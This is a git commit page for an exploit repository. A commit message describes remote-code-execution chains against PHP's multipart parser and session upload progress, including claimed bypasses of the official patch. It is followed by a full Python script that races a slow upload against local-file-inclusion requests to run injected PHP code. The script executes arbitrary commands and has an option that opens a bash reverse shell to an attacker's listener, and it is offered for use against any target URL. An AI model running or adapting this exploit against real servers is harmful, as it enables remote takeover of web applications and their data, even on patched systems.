PHP session upload progress RCE exploits (CVE-2026-109618, CVE-2026-109619)

Full RCE exploit chain for two critical PHP vulnerabilities in the multipart
parser and session upload progress handler, plus three bypass exploits that
defeat the official security patch (PHP 8.4.27) and all recommended mitigations.

Core exploits:
- CVE-2026-109618: OOM in multipart parser → session persistence → LFI → RCE
- CVE-2026-109619: Session poisoning via upload progress (direct + race) → RCE
- WordPress-targeted wrapper with LFI auto-detection

Patch bypass exploits (confirmed RCE on PHP 8.4.27):
- Race condition: TOCTOU inherent to upload progress feature design
- RLIMIT_AS: mmap() failure bypasses the patched OOM handler
- /proc/PID/fd: temp file inclusion bypasses ALL mitigations
This commit is contained in:
neko
2026-10-21 11:29:40 -05:00
commit e58bb493af
16 changed files with 3113 additions and 0 deletions
+265
View File
@@ -0,0 +1,265 @@
#!/usr/bin/env python3
"""
Patch Bypass: RCE via session upload progress race condition on PHP 8.4.27+
The PHP security patch released 2026-10-21 (PHP 8.4.27, 8.3.36, 8.2.35, 8.5.12)
fixes CVE-2026-109618 (OOM-based session persistence) by replacing longjmp()
with a soft/hard OOM that ensures proper cleanup.
However, the session upload progress race condition is NOT fixed by the patch.
This is because the race window is inherent to the feature's design:
1. PHP_SESSION_UPLOAD_PROGRESS writes attacker-controlled data to the session
file on disk during multipart parsing (MULTIPART_EVENT_START/UPDATE)
2. The session file contains: upload_progress_<PHP_CODE>|a:5:{serialized_data}
3. The data persists on disk for the duration of the file upload
4. Cleanup only runs at MULTIPART_EVENT_END when parsing completes
5. A concurrent request can include the session file via LFI during this window
The patch fixes the OOM path (where cleanup was skipped entirely) but does not
close this inherent TOCTOU race. The advisory acknowledges this by recommending
session.upload_progress.enabled=0 even after patching.
Requirements:
- PHP-FPM (or mod_php) with session.upload_progress.enabled=1 (DEFAULT)
- An LFI vector in the target application
- Known or guessable session.save_path
- Multiple FPM workers (pm.max_children > 1)
Tested: PHP 8.4.27 (patched), PHP 8.4.24 (unpatched), PHP 8.3.0
Usage:
python3 race_bypass_patched.py -t http://target/app.php --cmd 'id'
python3 race_bypass_patched.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444
"""
import argparse
import base64
import os
import re
import socket
import sys
import threading
import time
from urllib.parse import urlparse
SESSION_PATHS = [
"/tmp",
"/tmp/php-sessions",
"/var/lib/php/sessions",
"/var/lib/php5/sessions",
]
def tcp_connect(host, port, tls, timeout=60):
sock = socket.create_connection((host, port), timeout=timeout)
if tls:
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = ctx.wrap_socket(sock, server_hostname=host)
return sock
def recv_all(sock, timeout=5):
resp = b""
sock.settimeout(timeout)
try:
while True:
d = sock.recv(8192)
if not d:
break
resp += d
except socket.timeout:
pass
return resp
def body_of(resp):
if b"\r\n\r\n" in resp:
return resp.split(b"\r\n\r\n", 1)[1]
return resp
def slow_upload(host, port, tls, path, sid, php_code, duration=10.0):
"""Send slow multipart upload to keep session file populated on disk."""
bnd = b"----RACEBYPASS" + os.urandom(4).hex().encode()
head = (
b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n'
b"\r\n" + php_code + b"\r\n"
b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="file"; filename="slow.bin"\r\n'
b"Content-Type: application/octet-stream\r\n\r\n"
)
file_size = 4 * 1024 * 1024
tail = b"\r\n--" + bnd + b"--\r\n"
total = len(head) + file_size + len(tail)
sock = tcp_connect(host, port, tls, timeout=int(duration) + 10)
sock.sendall(
b"POST " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
b"Content-Length: " + str(total).encode() + b"\r\n"
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
+ head
)
sent = 0
t0 = time.time()
try:
while sent < file_size and (time.time() - t0) < duration:
sock.sendall(b"\x00" * 4096)
sent += 4096
time.sleep(0.04)
sock.sendall(tail)
except:
pass
try:
recv_all(sock, timeout=2)
except:
pass
sock.close()
def lfi_probe(host, port, tls, lfi_path, sid):
"""Send LFI request and return response body."""
sock = tcp_connect(host, port, tls, timeout=10)
sock.sendall(
b"GET " + lfi_path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
resp = recv_all(sock, timeout=5)
sock.close()
return resp
def run(args):
p = urlparse(args.target)
tls = p.scheme == "https"
host = p.hostname or "127.0.0.1"
port = p.port or (443 if tls else 80)
path = p.path or "/"
spaths = list(SESSION_PATHS)
if args.session_path:
spaths = [args.session_path] + [s for s in spaths if s != args.session_path]
if args.trigger_only:
php_code = b'<?php echo "CVE2026:TRIGGERED:".php_uname().":".posix_getuid(); ?>'
elif args.cmd:
cmd_b64 = base64.b64encode(args.cmd.encode()).decode()
php_code = f'<?php echo "CVE2026:";system(base64_decode("{cmd_b64}"));echo ":END"; ?>'.encode()
elif args.lhost and args.lport:
shell = f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'"
cmd_b64 = base64.b64encode(shell.encode()).decode()
php_code = f'<?php system(base64_decode("{cmd_b64}")); ?>'.encode()
else:
print("[!] Specify --cmd, --lhost/--lport, or --trigger-only")
sys.exit(1)
print("=" * 65)
print(" PATCH BYPASS: Race Condition RCE on PHP 8.4.27+ (patched)")
print(" Session upload progress race — NOT fixed by the 2026-10-21 patch")
print("=" * 65)
print(f" Target : {args.target}")
print(f" LFI param : {args.lfi_param}")
if args.cmd:
print(f" Command : {args.cmd}")
elif args.lhost:
print(f" Reverse sh : {args.lhost}:{args.lport}")
print()
for attempt in range(args.attempts):
sid = os.urandom(16).hex()
print(f"[*] Attempt {attempt+1}/{args.attempts} — SID: {sid}")
t = threading.Thread(
target=slow_upload,
args=(host, port, tls, path, sid, php_code, 10.0),
daemon=True,
)
t.start()
time.sleep(0.3)
hit = False
for i in range(400):
if not t.is_alive():
break
for sp in spaths:
sess_file = f"{sp}/sess_{sid}"
lfi_path = f"{path}?{args.lfi_param}={sess_file}"
try:
resp = lfi_probe(host, port, tls, lfi_path, sid)
rbody = body_of(resp)
if b"CVE2026:" in rbody:
if args.trigger_only:
m = re.search(r"CVE2026:TRIGGERED:(.+?)(?:\||$)",
rbody.decode(errors="replace"))
print(f"\n[+] Code execution confirmed!")
if m:
print(f" {m.group(1)}")
elif args.cmd:
m = re.search(r"CVE2026:(.*?):END",
rbody.decode(errors="replace"), re.DOTALL)
result = m.group(1).strip() if m else rbody.decode(errors="replace")[:500]
print()
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
print(result)
print("[+] ══════════════════════════════════════════")
else:
print(f"\n[+] Payload sent — check {args.lhost}:{args.lport}")
print()
print("[+] RCE achieved against PATCHED PHP!")
print("[+] The 2026-10-21 security patch does NOT fix this.")
print("[+] Mitigation: session.upload_progress.enabled=0")
hit = True
break
except:
pass
if hit:
break
time.sleep(0.005)
t.join(timeout=2)
if hit:
return
print(f" Race lost")
print("\n[!] All attempts failed. Try --attempts 20 or --session-path")
def main():
ap = argparse.ArgumentParser(
description="Patch Bypass: RCE via session race on PHP 8.4.27+ (patched)",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
This exploit demonstrates that the PHP security patch (2026-10-21)
does NOT fix the session upload progress race condition.
The only effective mitigation is: session.upload_progress.enabled=0
Examples:
%(prog)s -t http://target/app.php --cmd 'id'
%(prog)s -t http://target/app.php --lhost 10.0.0.1 --lport 4444
%(prog)s -t http://target/app.php --trigger-only --session-path /var/lib/php/sessions
""")
ap.add_argument("-t", "--target", required=True, help="Target URL with LFI")
ap.add_argument("--cmd", help="Command to execute")
ap.add_argument("--lhost", help="Reverse shell listener IP")
ap.add_argument("--lport", type=int, help="Reverse shell listener port")
ap.add_argument("--trigger-only", action="store_true",
help="Confirm vulnerability only")
ap.add_argument("--lfi-param", default="page",
help="LFI query parameter (default: page)")
ap.add_argument("--session-path",
help="session.save_path on target")
ap.add_argument("--attempts", type=int, default=10,
help="Race attempts (default: 10)")
args = ap.parse_args()
run(args)
if __name__ == "__main__":
main()